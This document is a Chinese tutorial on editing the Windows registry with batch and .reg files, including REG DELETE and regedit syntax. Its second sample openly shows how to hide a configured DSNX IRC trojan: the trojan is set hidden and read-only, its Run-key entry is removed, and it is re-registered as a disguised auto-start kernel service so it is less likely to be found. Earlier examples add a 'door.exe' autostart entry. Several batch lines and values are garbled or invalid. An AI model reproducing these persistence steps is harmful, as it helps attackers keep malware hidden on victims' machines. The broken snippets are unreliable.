批处理命令修改注册表大全 Windows 2000/XP下的命令提示符(即CMD.exe程序)相当于Windows 98下的MS-DOS程序。出于系统本身安全考虑,应防止非法用户在命令提示符下或是利用批处理文件(BAT文件)对计算机进行破坏,这可通过修改注册表来实现。 选择【开始】→【运行】命令,在【运行】对话框的【打开】文本框中输入“regedit.exe”,单击【确定】按钮,运行注册表编辑器,依次打开以下键: HKEY_CURRENT_USER\Software\Policies\Microsoft\System 在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行。 示例: echo REGEDIT4>iedown.reg echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg echo "1803"=dword:00000000>>iedown.reg 以上生成REG文件. regedit /s iedown.reg del iedown.reg 运行REG后删除之. 还可以:写一个注册表文件,放在一个位置.. 然后批处理导入: @echo off regedit /s 注册表文件路径 exit 说明:/s是不弹出确认提示直接导入 先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作,常见的是创建、修改、删除。 1.创建 创建分为两种,一种是创建子项(Subkey) 我们创建一个文件,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。 另一种是创建一个项目名称 那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "Door"=C:\\WINNT\\system32\\door.exe "Autodos"=dword:02 这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目 Invader的类型是"String value" door的类型是"REG SZ value" Autodos的类型是"DWORD value" 2.修改 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。 3.删除 我们首先来说说删除一个项目名称,我们创建一个如下的文件: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Ex4rch"=- 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了; 我们再看看删除一个子项,我们创建一个如下的脚本: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。 相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 samlpe1:如上面的那个例子,如想生成如下注册表文件 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "door"=hex:255 "Autodos"=dword:000000128 只需要这样: @echo Windows Registry Editor Version 5.00>>Sample.reg @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、 Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查 杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和 只读,并config为自启动] @REM 这样不是更安全. 怎么用批处理命令删注册表里的键值或用命令的方法删注册表值? REG DELETE KeyName [/v ValueName | /ve | /va] [/f] KeyName [\\Machine\]FullKey Machine 远程机器名 - 忽略当前机器的默认值。 远程机器上只有 HKLM 和 HKU。 FullKey ROOTKEY\SubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名。 ValueName 所选项下的要删除的值的名称。 省略时,该项下的所有子项和值都会被删除。 /ve 删除空白值名称的值(默认)。 /va 删除该项下的所有值。 /f 不用提示就强行删除。 例如: REG DELETE HKLM\Software\MyCo\MyApp\Timeout 删除注册表项 Timeout 及其所有子项和值 REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU 删除 ZODIAC 上 MyCo 下的注册表项 MTU regedit.exe的参数 filename 导入 .reg 文件进注册表 /s 导入 .reg 文件进注册表(安静模式) /e 导出注册表文件 例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM /L:system 指定 system.dat /R:user 指定 user.dat 隐藏导入注册表信息用regedit /s 即可 在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。 语法:Regedit[/L:system][/R:user]filename1 Regedit[/L:system][/R:user]/Cfilename2 Regedit[/L:system][/R:user]/Efilename3[regpath] 其中: /L:system指定system.dat文件的存放位置。 /L:user指定user.dat文件的存放位置。 filename1指定引入注册表数据库的文件名。 /Cfilename2指定形成注册表数据库的文件名。 /Efilename3指定导出注册表文件的文件名。 regpath指定导出注册表文件的开始关键字(缺省为全部关键字) 现举几个例子说明regedit.exe在DOS下的使用方法。 【例1】将系统注册表数据库registry导出到reg1.reg文件中。 regedit/Ereg1.reg 【例2】reg1.reg形成系统注册表数据库registry(全部)中。 regedit/Creg1.reg 【例3】将reg.dat引入系统注册表数据库中(部分)。 regeditreg.dat 【例4】将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。 regedit/Ecjh.regcjh 【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。 regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat 有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。 我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令: regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile 然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\\WINDOWS\\NOTEPAD.EXE”全部改成“C:\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令: regedittxt.reg
|